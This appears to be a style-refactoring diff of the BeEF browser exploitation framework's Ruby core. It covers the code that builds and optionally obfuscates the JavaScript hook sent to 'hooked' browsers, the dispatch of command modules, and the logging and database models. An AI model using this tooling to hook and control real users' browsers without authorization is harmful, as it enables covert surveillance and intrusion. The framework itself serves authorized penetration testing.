-21,31 +19,30 @@ def build_beefjs!(req_host) beef_js_path = "#{$root_dir}/core/main/client/" # @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated - ext_js_sub_files = %w(lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js) + ext_js_sub_files = %w[lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js] # @note BeEF libraries: need Eruby evaluation and obfuscation - beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js) + beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js + encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js] # @note Load websocket library only if WS server is enabled in config.yaml - if config.get("beef.http.websocket.enable") == true - beef_js_sub_files << "websocket.js" - end + beef_js_sub_files << 'websocket.js' if config.get('beef.http.websocket.enable') == true # @note Load webrtc library only if WebRTC extension is enabled - if config.get("beef.extension.webrtc.enable") == true - beef_js_sub_files << "lib/webrtcadapter.js" - beef_js_sub_files << "webrtc.js" + if config.get('beef.extension.webrtc.enable') == true + beef_js_sub_files << 'lib/webrtcadapter.js' + beef_js_sub_files << 'webrtc.js' end # @note antisnatchor: leave timeout.js as the last one! - beef_js_sub_files << "timeout.js" + beef_js_sub_files << 'timeout.js' ext_js_to_obfuscate = '' ext_js_to_not_obfuscate = '' # @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate # @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate - ext_js_sub_files.each { |ext_js_sub_file| - if config.get("beef.extension.evasion.enable") - if config.get("beef.extension.evasion.exclude_core_js").include?(ext_js_sub_file) + ext_js_sub_files.each do |ext_js_sub_file| + if config.get('beef.extension.evasion.enable') + if config.get('beef.extension.evasion.exclude_core_js').include?(ext_js_sub_file) print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list" # do not obfuscate the file ext_js_sub_file_path = beef_js_path + ext_js_sub_file @@ -59,66 +56,58 @@ def build_beefjs!(req_host) ext_js_sub_file_path = beef_js_path + ext_js_sub_file ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") end - } + end # @note construct the beef_js string from file(s) - beef_js_sub_files.each { |beef_js_sub_file| + beef_js_sub_files.each do |beef_js_sub_file| beef_js_sub_file_path = beef_js_path + beef_js_sub_file beef_js << (File.read(beef_js_sub_file_path) + "\n\n") - } + end # @note create the config for the hooked browser session hook_session_config = BeEF::Core::Server.instance.to_h # @note if http_host="0.0.0.0" in config ini, use the host requested by client - unless hook_session_config['beef_public'].nil? - if hook_session_config['beef_host'] != hook_session_config['beef_public'] - hook_session_config['beef_host'] = hook_session_config['beef_public'] - hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public']) - end + if !hook_session_config['beef_public'].nil? && (hook_session_config['beef_host'] != hook_session_config['beef_public']) + hook_session_config['beef_host'] = hook_session_config['beef_public'] + hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public']) end - if hook_session_config['beef_host'].eql? "0.0.0.0" + if hook_session_config['beef_host'].eql? '0.0.0.0' hook_session_config['beef_host'] = req_host hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host) end # @note set the XHR-polling timeout - hook_session_config['xhr_poll_timeout'] = config.get("beef.http.xhr_poll_timeout") + hook_session_config['xhr_poll_timeout'] = config.get('beef.http.xhr_poll_timeout') # @note set the hook file path and BeEF's cookie name - hook_session_config['hook_file'] = config.get("beef.http.hook_file") - hook_session_config['hook_session_name'] = config.get("beef.http.hook_session_name") + hook_session_config['hook_file'] = config.get('beef.http.hook_file') + hook_session_config['hook_session_name'] = config.get('beef.http.hook_session_name') # @note if http_port <> public_port in config ini, use the public_port - unless hook_session_config['beef_public_port'].nil? - if hook_session_config['beef_port'] != hook_session_config['beef_public_port'] - hook_session_config['beef_port'] = hook_session_config['beef_public_port'] - hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port']) - if hook_session_config['beef_public_port'] == '443' - hook_session_config['beef_url'].sub!(/http:/, 'https:') - end - end + if !hook_session_config['beef_public_port'].nil? && (hook_session_config['beef_port'] != hook_session_config['beef_public_port']) + hook_session_config['beef_port'] = hook_session_config['beef_public_port'] + hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port']) + hook_session_config['beef_url'].sub!(/http:/, 'https:') if hook_session_config['beef_public_port'] == '443' end # @note Set some WebSocket properties - if config.get("beef.http.websocket.enable") - hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure") - hook_session_config['websocket_port'] = config.get("beef.http.websocket.port") - hook_session_config['ws_poll_timeout'] = config.get("beef.http.websocket.ws_poll_timeout") - hook_session_config['ws_connect_timeout'] = config.get("beef.http.websocket.ws_connect_timeout") - hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port") + if config.get('beef.http.websocket.enable') + hook_session_config['websocket_secure'] = config.get('beef.http.websocket.secure') + hook_session_config['websocket_port'] = config.get('beef.http.websocket.port') + hook_session_config['ws_poll_timeout'] = config.get('beef.http.websocket.ws_poll_timeout') + hook_session_config['ws_connect_timeout'] = config.get('beef.http.websocket.ws_connect_timeout') + hook_session_config['websocket_sec_port'] = config.get('beef.http.websocket.secure_port') end # @note Set if PhishingFrenzy integration is enabled - if config.get("beef.integration.phishing_frenzy.enable") - hook_session_config['phishing_frenzy_enable'] = config.get("beef.integration.phishing_frenzy.enable") - end + hook_session_config['phishing_frenzy_enable'] = config.get('beef.integration.phishing_frenzy.enable') if config.get('beef.integration.phishing_frenzy.enable') # @note populate place holders in the beef_js string and set the response body eruby = Erubis::FastEruby.new(beef_js) @hook = eruby.evaluate(hook_session_config) - if config.get("beef.extension.evasion.enable") + if config.get('beef.extension.evasion.enable') evasion = BeEF::Extension::Evasion::Evasion.instance @final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook) else @@ -127,7 +116,6 @@ def build_beefjs!(req_host) # @note Return the final hook to be sent to the browser @body << @final_hook - end # Finds the path to js components @@ -139,7 +127,7 @@ def find_beefjs_component_path(component) component_path.gsub!(/\./, '/') component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js" - return false if not File.exists? component_path + return false unless File.exist? component_path component_path end @@ -152,11 +140,12 @@ def build_missing_beefjs_components(beefjs_components) if beefjs_components.is_a? String beefjs_components_path = find_beefjs_component_path(beefjs_components) - raise "Invalid component: could not build the beefjs file" if not beefjs_components_path - beefjs_components = {beefjs_components => beefjs_components_path} + raise 'Invalid component: could not build the beefjs file' unless beefjs_components_path + + beefjs_components = { beefjs_components => beefjs_components_path } end - beefjs_components.keys.each { |k| + beefjs_components.keys.each do |k| next if @beef_js_cmps.include? beefjs_components[k] # @note path to the component @@ -164,11 +153,11 @@ def build_missing_beefjs_components(beefjs_components) # @note we output the component to the hooked browser config = BeEF::Core::Configuration.instance - if config.get("beef.extension.evasion.enable") + if config.get('beef.extension.evasion.enable') evasion = BeEF::Extension::Evasion::Evasion.instance @body << evasion.obfuscate(File.read(component_path) + "\n\n") else - @body << File.read(component_path) + "\n\n" + @body << (File.read(component_path) + "\n\n") end # @note finally we add the component to the list of components already generated so it does not get generated numerous times. @@ -177,7 +166,7 @@ def build_missing_beefjs_components(beefjs_components) else @beef_js_cmps += ",#{component_path}" end - } + end end end end diff --git a/core/main/handlers/modules/command.rb b/core/main/handlers/modules/command.rb index 812971a9cd..70fbda4f5e 100644 --- a/core/main/handlers/modules/command.rb +++ b/core/main/handlers/modules/command.rb @@ -7,29 +7,48 @@ module BeEF module Core module Handlers module Modules - module Command - # Adds the command module instructions to a hooked browser's http response. # @param [Object] command Command object # @param [Object] hooked_browser Hooked Browser object def add_command_instructions(command, hooked_browser) - (print_error "hooked_browser is nil"; return) if hooked_browser.nil? - (print_error "hooked_browser.session is nil"; return) if hooked_browser.session.nil? - (print_error "hooked_browser is nil"; return) if command.nil? - (print_error "hooked_browser.command_module_id is nil"; return) if command.command_module_id.nil? + if hooked_browser.nil? + (print_error 'hooked_browser is nil' + return) + end + if hooked_browser.session.nil? + (print_error 'hooked_browser.session is nil' + return) + end + if command.nil? + (print_error 'hooked_browser is nil' + return) + end + if command.command_module_id.nil? + (print_error 'hooked_browser.command_module_id is nil' + return) + end config = BeEF::Core::Configuration.instance # @note get the command module - command_module = BeEF::Core::Models::CommandModule.where(:id => command.command_module_id).first - (print_error "command_module is nil"; return) if command_module.nil? - (print_error "command_module.path is nil"; return) if command_module.path.nil? + command_module = BeEF::Core::Models::CommandModule.where(id: command.command_module_id).first + if command_module.nil? + (print_error 'command_module is nil' + return) + end + if command_module.path.nil? + (print_error 'command_module.path is nil' + return) + end - if (command_module.path.match(/^Dynamic/)) + if command_module.path.match(/^Dynamic/) command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new else key = BeEF::Module.get_key_by_database_id(command.command_module_id) - (print_error "Could not find command module with ID #{command.command_module_id}"; return) if key.nil? + if key.nil? + (print_error "Could not find command module with ID #{command.command_module_id}" + return) + end command_module = BeEF::Core::Command.const_get(config.get("beef.module.#{key}.class")).new(key) end @@ -42,25 +61,25 @@ def add_command_instructions(command, hooked_browser) ws = BeEF::Core::Websocket::Websocket.instance - if config.get("beef.extension.evasion.enable") + if config.get('beef.extension.evasion.enable') evasion = BeEF::Extension::Evasion::Evasion.instance @output = evasion.obfuscate(command_module.output) else @output = command_module.output end - #todo antisnatchor: remove this gsub crap adding some hook packing. - if config.get("beef.http.websocket.enable") && ws.getsocket(hooked_browser.session) - #content = command_module.output.gsub('// - #// - #// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net - #// Browser Exploitation Framework (BeEF) - http://beefproject.com - #// See the file 'doc/COPYING' for copying permission - #// - #//', "") + # TODO: antisnatchor: remove this gsub crap adding some hook packing. + if config.get('beef.http.websocket.enable') && ws.getsocket(hooked_browser.session) + # content = command_module.output.gsub('// + # // + # // Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net + # // Browser Exploitation Framework (BeEF) - http://beefproject.com + # // See the file 'doc/COPYING' for copying permission + # // + # //', "") ws.send(@output, hooked_browser.session) else - @body << @output + "\n\n" + @body << (@output + "\n\n") end # @note prints the event to the console if BeEF::Settings.console? @@ -72,9 +91,7 @@ def add_command_instructions(command, hooked_browser) command.instructions_sent = true command.save! end - end - end end end diff --git a/core/main/handlers/modules/legacybeefjs.rb b/core/main/handlers/modules/legacybeefjs.rb index 68d38fc089..7e2b08ac9a 100644 --- a/core/main/handlers/modules/legacybeefjs.rb +++ b/core/main/handlers/modules/legacybeefjs.rb @@ -7,10 +7,8 @@ module BeEF module Core module Handlers module Modules - # @note Purpose: avoid rewriting several times the same code. module LegacyBeEFJS - # Builds the default beefjs library (all default components of the library). # @param [Object] req_host The request object def legacy_build_beefjs!(req_host) @@ -21,31 +19,30 @@ def legacy_build_beefjs!(req_host) beef_js_path = "#{$root_dir}/core/main/client/" # @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated - ext_js_sub_files = %w(lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js) + ext_js_sub_files = %w[lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js] # @note BeEF libraries: need Eruby evaluation and obfuscation - beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js) + beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js + encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js] # @note Load websocket library only if WS server is enabled in config.yaml - if config.get("beef.http.websocket.enable") == true - beef_js_sub_files << "websocket.js" - end + beef_js_sub_files << 'websocket.js' if config.get('beef.http.websocket.enable') == true # @note Load webrtc library only if WebRTC extension is enabled - if config.get("beef.extension.webrtc.enable") == true - beef_js_sub_files << "lib/webrtcadapter.js" - beef_js_sub_files << "webrtc.js" + if config.get('beef.extension.webrtc.enable') == true + beef_js_sub_files << 'lib/webrtcadapter.js' + beef_js_sub_files << 'webrtc.js' end # @note antisnatchor: leave timeout.js as the last one! - beef_js_sub_files << "timeout.js" + beef_js_sub_files << 'timeout.js' ext_js_to_obfuscate = '' ext_js_to_not_obfuscate = '' # @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate # @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate - ext_js_sub_files.each { |ext_js_sub_file| - if config.get("beef.extension.evasion.enable") - if config.get("beef.extension.evasion.exclude_core_js").include?(ext_js_sub_file) + ext_js_sub_files.each do |ext_js_sub_file| + if config.get('beef.extension.evasion.enable') + if config.get('beef.extension.evasion.exclude_core_js').include?(ext_js_sub_file) print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list" # do not obfuscate the file ext_js_sub_file_path = beef_js_path + ext_js_sub_file @@ -59,66 +56,58 @@ def legacy_build_beefjs!(req_host) ext_js_sub_file_path = beef_js_path + ext_js_sub_file ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") end - } + end # @note construct the beef_js string from file(s) - beef_js_sub_files.each { |beef_js_sub_file| + beef_js_sub_files.each do |beef_js_sub_file| beef_js_sub_file_path = beef_js_path + beef_js_sub_file beef_js << (File.read(beef_js_sub_file_path) + "\n\n") - } + end # @note create the config for the hooked browser session hook_session_config = BeEF::Core::Server.instance.to_h # @note if http_host="0.0.0.0" in config ini, use the host requested by client - unless hook_session_config['beef_public'].nil? - if hook_session_config['beef_host'] != hook_session_config['beef_public'] - hook_session_config['beef_host'] = hook_session_config['beef_public'] - hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public']) - end + if !hook_session_config['beef_public'].nil? && (hook_session_config['beef_host'] != hook_session_config['beef_public']) + hook_session_config['beef_host'] = hook_session_config['beef_public'] + hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public']) end - if hook_session_config['beef_host'].eql? "0.0.0.0" + if hook_session_config['beef_host'].eql? '0.0.0.0' hook_session_config['beef_host'] = req_host hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host) end # @note set the XHR-polling timeout - hook_session_config['xhr_poll_timeout'] = config.get("beef.http.xhr_poll_timeout") + hook_session_config['xhr_poll_timeout'] = config.get('beef.http.xhr_poll_timeout') # @note set the hook file path and BeEF's cookie name - hook_session_config['hook_file'] = config.get("beef.http.hook_file") - hook_session_config['hook_session_name'] = config.get("beef.http.hook_session_name") + hook_session_config['hook_file'] = config.get('beef.http.hook_file') + hook_session_config['hook_session_name'] = config.get('beef.http.hook_session_name') # @note if http_port <> public_port in config ini, use the public_port - unless hook_session_config['beef_public_port'].nil? - if hook_session_config['beef_port'] != hook_session_config['beef_public_port'] - hook_session_config['beef_port'] = hook_session_config['beef_public_port'] - hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port']) - if hook_session_config['beef_public_port'] == '443' - hook_session_config['beef_url'].sub!(/http:/, 'https:') - end - end + if !hook_session_config['beef_public_port'].nil? && (hook_session_config['beef_port'] != hook_session_config['beef_public_port']) + hook_session_config['beef_port'] = hook_session_config['beef_public_port'] + hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port']) + hook_session_config['beef_url'].sub!(/http:/, 'https:') if hook_session_config['beef_public_port'] == '443' end # @note Set some WebSocket properties - if config.get("beef.http.websocket.enable") - hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure") - hook_session_config['websocket_port'] = config.get("beef.http.websocket.port") - hook_session_config['ws_poll_timeout'] = config.get("beef.http.websocket.ws_poll_timeout") - hook_session_config['ws_connect_timeout'] = config.get("beef.http.websocket.ws_connect_timeout") - hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port") + if config.get('beef.http.websocket.enable') + hook_session_config['websocket_secure'] = config.get('beef.http.websocket.secure') + hook_session_config['websocket_port'] = config.get('beef.http.websocket.port') + hook_session_config['ws_poll_timeout'] = config.get('beef.http.websocket.ws_poll_timeout') + hook_session_config['ws_connect_timeout'] = config.get('beef.http.websocket.ws_connect_timeout') + hook_session_config['websocket_sec_port'] = config.get('beef.http.websocket.secure_port') end # @note Set if PhishingFrenzy integration is enabled - if config.get("beef.integration.phishing_frenzy.enable") - hook_session_config['phishing_frenzy_enable'] = config.get("beef.integration.phishing_frenzy.enable") - end + hook_session_config['phishing_frenzy_enable'] = config.get('beef.integration.phishing_frenzy.enable') if config.get('beef.integration.phishing_frenzy.enable') # @note populate place holders in the beef_js string and set the response body eruby = Erubis::FastEruby.new(beef_js) @hook = eruby.evaluate(hook_session_config) - if config.get("beef.extension.evasion.enable") + if config.get('beef.extension.evasion.enable') evasion = BeEF::Extension::Evasion::Evasion.instance @final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook) else @@ -127,7 +116,6 @@ def legacy_build_beefjs!(req_host) # @note Return the final hook to be sent to the browser @body << @final_hook - end # Finds the path to js components @@ -139,7 +127,7 @@ def legacy_find_beefjs_component_path(component) component_path.gsub!(/\./, '/') component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js" - return false if not File.exists? component_path + return false unless File.exist? component_path component_path end @@ -152,11 +140,12 @@ def legacy_build_missing_beefjs_components(beefjs_components) if beefjs_components.is_a? String beefjs_components_path = find_beefjs_component_path(beefjs_components) - raise "Invalid component: could not build the beefjs file" if not beefjs_components_path - beefjs_components = {beefjs_components => beefjs_components_path} + raise 'Invalid component: could not build the beefjs file' unless beefjs_components_path + + beefjs_components = { beefjs_components => beefjs_components_path } end - beefjs_components.keys.each { |k| + beefjs_components.keys.each do |k| next if @beef_js_cmps.include? beefjs_components[k] # @note path to the component @@ -164,11 +153,11 @@ def legacy_build_missing_beefjs_components(beefjs_components) # @note we output the component to the hooked browser config = BeEF::Core::Configuration.instance - if config.get("beef.extension.evasion.enable") + if config.get('beef.extension.evasion.enable') evasion = BeEF::Extension::Evasion::Evasion.instance @body << evasion.obfuscate(File.read(component_path) + "\n\n") else - @body << File.read(component_path) + "\n\n" + @body << (File.read(component_path) + "\n\n") end # @note finally we add the component to the list of components already generated so it does not get generated numerous times. @@ -177,7 +166,7 @@ def legacy_build_missing_beefjs_components(beefjs_components) else @beef_js_cmps += ",#{component_path}" end - } + end end end end diff --git a/core/main/logger.rb b/core/main/logger.rb index 256392090e..80ed84abc5 100644 --- a/core/main/logger.rb +++ b/core/main/logger.rb @@ -5,53 +5,50 @@ # module BeEF -module Core - class Logger - include Singleton - - # Constructor - def initialize - @logs = BeEF::Core::Models::Log - @config = BeEF::Core::Configuration.instance - - # if notifications are enabled create a new instance - notifications_enabled = @config.get('beef.extension.notifications.enable') - @notifications = BeEF::Extension::Notifications::Notifications unless (notifications_enabled == false or notifications_enabled.nil?) - end + module Core + class Logger + include Singleton + + # Constructor + def initialize + @logs = BeEF::Core::Models::Log + @config = BeEF::Core::Configuration.instance - # - # Registers a new event in the logs - # @param [String] from The origin of the event (i.e. Authentication, Hooked Browser) - # @param [String] event The event description - # @param [Integer] hb The id of the hooked browser affected (default = 0 if no HB) - # - # @return [Boolean] True if the register was successful - # - def register(from, event, hb = 0) - # type conversion to enforce standards - hb = hb.to_i - - # get time now - time_now = Time.now - - # arguments type checking - raise TypeError, '"from" needs to be a string' unless from.string? - raise TypeError, '"event" needs to be a string' unless event.string? - raise TypeError, '"Hooked Browser ID" needs to be an integer' unless hb.integer? - - # logging the new event into the database - @logs.create(:logtype => from.to_s, :event => event.to_s, :date => time_now, :hooked_browser_id => hb).save! - print_debug "Event: #{event}" - # if notifications are enabled send the info there too - if @notifications - @notifications.new(from, event, time_now, hb) + # if notifications are enabled create a new instance + notifications_enabled = @config.get('beef.extension.notifications.enable') + @notifications = BeEF::Extension::Notifications::Notifications unless notifications_enabled == false or notifications_enabled.nil? end - - true - end - private - @logs + # + # Registers a new event in the logs + # @param [String] from The origin of the event (i.e. Authentication, Hooked Browser) + # @param [String] event The event description + # @param [Integer] hb The id of the hooked browser affected (default = 0 if no HB) + # + # @return [Boolean] True if the register was successful + # + def register(from, event, hb = 0) + # type conversion to enforce standards + hb = hb.to_i + + # get time now + time_now = Time.now + + # arguments type checking + raise TypeError, '"from" needs to be a string' unless from.string? + raise TypeError, '"event" needs to be a string' unless event.string? + raise TypeError, '"Hooked Browser ID" needs to be an integer' unless hb.integer? + + # logging the new event into the database + @logs.create(logtype: from.to_s, event: event.to_s, date: time_now, hooked_browser_id: hb).save! + print_debug "Event: #{event}" + # if notifications are enabled send the info there too + @notifications.new(from, event, time_now, hb) if @notifications + + true + end + + @logs + end end end -end diff --git a/core/main/migration.rb b/core/main/migration.rb index 0add4e6fc9..c4a39477d2 100644 --- a/core/main/migration.rb +++ b/core/main/migration.rb @@ -5,44 +5,43 @@ # module BeEF -module Core + module Core + # @note This class migrates and updates values in the database each time you restart BeEF. + # So for example, when you want to add a new command module, you stop BeEF, + # copy your command module into the framework and then restart BeEF. + # That class will take care of installing automatically the new command module in the db. + class Migration + include Singleton - # @note This class migrates and updates values in the database each time you restart BeEF. - # So for example, when you want to add a new command module, you stop BeEF, - # copy your command module into the framework and then restart BeEF. - # That class will take care of installing automatically the new command module in the db. - class Migration - include Singleton - - # - # Updates the database. - # - def update_db! - update_commands! - end - - # - # Checks for new command modules and updates the database. - # - def update_commands! - config = BeEF::Core::Configuration.instance + # + # Updates the database. + # + def update_db! + update_commands! + end - db_modules = BeEF::Core::Models::CommandModule.all.pluck(:name) + # + # Checks for new command modules and updates the database. + # + def update_commands! + config = BeEF::Core::Configuration.instance - config.get('beef.module').each do |k, v| - BeEF::Core::Models::CommandModule.new(name: k, path: "#{v['path']}module.rb").save! unless db_modules.include? k - end - - BeEF::Core::Models::CommandModule.all.each do |mod| - unless config.get("beef.module.#{mod.name}").nil? - config.set "beef.module.#{mod.name}.db.id", mod.id - config.set "beef.module.#{mod.name}.db.path", mod.path + db_modules = BeEF::Core::Models::CommandModule.all.pluck(:name) + + config.get('beef.module').each do |k, v| + BeEF::Core::Models::CommandModule.new(name: k, path: "#{v['path']}module.rb").save! unless db_modules.include? k end - end - # Call Migration method - BeEF::API::Registrar.instance.fire BeEF::API::Migration, 'migrate_commands' + BeEF::Core::Models::CommandModule.all.each do |mod| + unless config.get("beef.module.#{mod.name}").nil? + config.set "beef.module.#{mod.name}.db.id", mod.id + config.set "beef.module.#{mod.name}.db.path", mod.path + end + end + + # Call Migration method + BeEF::API::Registrar.instance.fire BeEF::API::Migration, 'migrate_commands' + end end end end -end diff --git a/core/main/model.rb b/core/main/model.rb index 8033e698ec..0403e494f5 100644 --- a/core/main/model.rb +++ b/core/main/model.rb @@ -5,10 +5,10 @@ # module BeEF -module Core - class Model < ActiveRecord::Base - # Tell ActiveRecord that this is not a model - self.abstract_class = true + module Core + class Model < ActiveRecord::Base + # Tell ActiveRecord that this is not a model + self.abstract_class = true + end end end -end diff --git a/core/main/models/browserdetails.rb b/core/main/models/browserdetails.rb index 0a5550afb2..3938c4d57b 100644 --- a/core/main/models/browserdetails.rb +++ b/core/main/models/browserdetails.rb @@ -4,55 +4,55 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module Models - # - # Table stores the details of browsers. - # - # For example, the type and version of browser the hooked browsers are using. - # - class BrowserDetails < BeEF::Core::Model - - # - # Returns the requested value from the data store - # - def self.get(session_id, key) - browserdetail = self.where(:session_id => session_id, :detail_key => key).first - - return nil if browserdetail.nil? - return nil if browserdetail.detail_value.nil? - return browserdetail.detail_value - end - - # - # Stores or updates an existing key->value pair in the data store - # - def self.set(session_id, detail_key, detail_value) - browserdetails = BeEF::Core::Models::BrowserDetails.where( - :session_id => session_id, - :detail_key => detail_key ).first - if browserdetails.nil? - # store the new browser details key/value - browserdetails = BeEF::Core::Models::BrowserDetails.new( - :session_id => session_id, - :detail_key => detail_key, - :detail_value => detail_value || '') - result = browserdetails.save! - else - # update the browser details key/value - browserdetails.detail_value = detail_value || '' - result = browserdetails.save! - print_debug "Browser has updated '#{detail_key}' to '#{detail_value}'" - end + module Core + module Models + # + # Table stores the details of browsers. + # + # For example, the type and version of browser the hooked browsers are using. + # + class BrowserDetails < BeEF::Core::Model + # + # Returns the requested value from the data store + # + def self.get(session_id, key) + browserdetail = where(session_id: session_id, detail_key: key).first + + return nil if browserdetail.nil? + return nil if browserdetail.detail_value.nil? + + browserdetail.detail_value + end - # if the attempt to save the browser details fails return a bad request - if result.nil? - print_error "Failed to save browser details: #{detail_key}=#{detail_value}" + # + # Stores or updates an existing key->value pair in the data store + # + def self.set(session_id, detail_key, detail_value) + browserdetails = BeEF::Core::Models::BrowserDetails.where( + session_id: session_id, + detail_key: detail_key + ).first + if browserdetails.nil? + # store the new browser details key/value + browserdetails = BeEF::Core::Models::BrowserDetails.new( + session_id: session_id, + detail_key: detail_key, + detail_value: detail_value || '' + ) + result = browserdetails.save! + else + # update the browser details key/value + browserdetails.detail_value = detail_value || '' + result = browserdetails.save! + print_debug "Browser has updated '#{detail_key}' to '#{detail_value}'" + end + + # if the attempt to save the browser details fails return a bad request + print_error "Failed to save browser details: #{detail_key}=#{detail_value}" if result.nil? + + browserdetails + end end - - browserdetails end end end -end -end diff --git a/core/main/models/command.rb b/core/main/models/command.rb index afbdd91764..996d22f91a 100644 --- a/core/main/models/command.rb +++ b/core/main/models/command.rb @@ -5,73 +5,70 @@ # module BeEF -module Core -module Models + module Core + module Models + # @note Table stores the commands that have been sent to the Hooked Browsers. + class Command < BeEF::Core::Model + has_many :results + has_one :command_module + has_one :hooked_browser - # @note Table stores the commands that have been sent to the Hooked Browsers. - class Command < BeEF::Core::Model + # + # Save results and flag that the command has been run on the hooked browser + # + # @param [String] hook_session_id The session_id. + # @param [String] command_id The command_id. + # @param [String] command_friendly_name The command friendly name. + # @param [String] result The result of the command module. + # + def self.save_result(hook_session_id, command_id, command_friendly_name, result, status) + # @note argument type checking + raise TypeError, '"hook_session_id" needs to be a string' unless hook_session_id.string? + raise TypeError, '"command_id" needs to be an integer' unless command_id.integer? + raise TypeError, '"command_friendly_name" needs to be a string' unless command_friendly_name.string? + raise TypeError, '"result" needs to be a hash' unless result.hash? + raise TypeError, '"status" needs to be an integer' unless status.integer? - has_many :results - has_one :command_module - has_one :hooked_browser + # @note get the hooked browser structure and id from the database + hooked_browser = BeEF::Core::Models::HookedBrowser.where(session: hook_session_id).first || nil + raise TypeError, 'hooked_browser is nil' if hooked_browser.nil? + raise TypeError, 'hooked_browser.id is nil' if hooked_browser.id.nil? - # - # Save results and flag that the command has been run on the hooked browser - # - # @param [String] hook_session_id The session_id. - # @param [String] command_id The command_id. - # @param [String] command_friendly_name The command friendly name. - # @param [String] result The result of the command module. - # - def self.save_result(hook_session_id, command_id, command_friendly_name, result, status) - # @note argument type checking - raise TypeError, '"hook_session_id" needs to be a string' unless hook_session_id.string? - raise TypeError, '"command_id" needs to be an integer' unless command_id.integer? - raise TypeError, '"command_friendly_name" needs to be a string' unless command_friendly_name.string? - raise TypeError, '"result" needs to be a hash' unless result.hash? - raise TypeError, '"status" needs to be an integer' unless status.integer? + # @note get the command module data structure from the database + command = where(id: command_id, hooked_browser_id: hooked_browser.id).first || nil + raise TypeError, 'command is nil' if command.nil? - # @note get the hooked browser structure and id from the database - hooked_browser = BeEF::Core::Models::HookedBrowser.where(:session => hook_session_id).first || nil - raise TypeError, "hooked_browser is nil" if hooked_browser.nil? - raise TypeError, "hooked_browser.id is nil" if hooked_browser.id.nil? + # @note create the entry for the results + BeEF::Core::Models::Result.create( + hooked_browser_id: hooked_browser.id, + command_id: command.id, + data: result.to_json, + status: status, + date: Time.now.to_i + ) - # @note get the command module data structure from the database - command = self.where(:id => command_id, :hooked_browser_id => hooked_browser.id).first || nil - raise TypeError, "command is nil" if command.nil? + s = show_status(status) + log = "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}]" + log += " has executed instructions (status: #{s}) from command module [cid:#{command_id}," + log += " mod: #{command.command_module_id}, name:'#{command_friendly_name}']" + BeEF::Core::Logger.instance.register('Command', log, hooked_browser.id) + print_info log - # @note create the entry for the results - BeEF::Core::Models::Result.create( - :hooked_browser_id => hooked_browser.id, - :command_id => command.id, - :data => result.to_json, - :status => status, - :date => Time.now.to_i - ) + true + end - s = show_status(status) - log = "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}]" - log += " has executed instructions (status: #{s}) from command module [cid:#{command_id}," - log += " mod: #{command.command_module_id}, name:'#{command_friendly_name}']" - BeEF::Core::Logger.instance.register('Command', log, hooked_browser.id) - 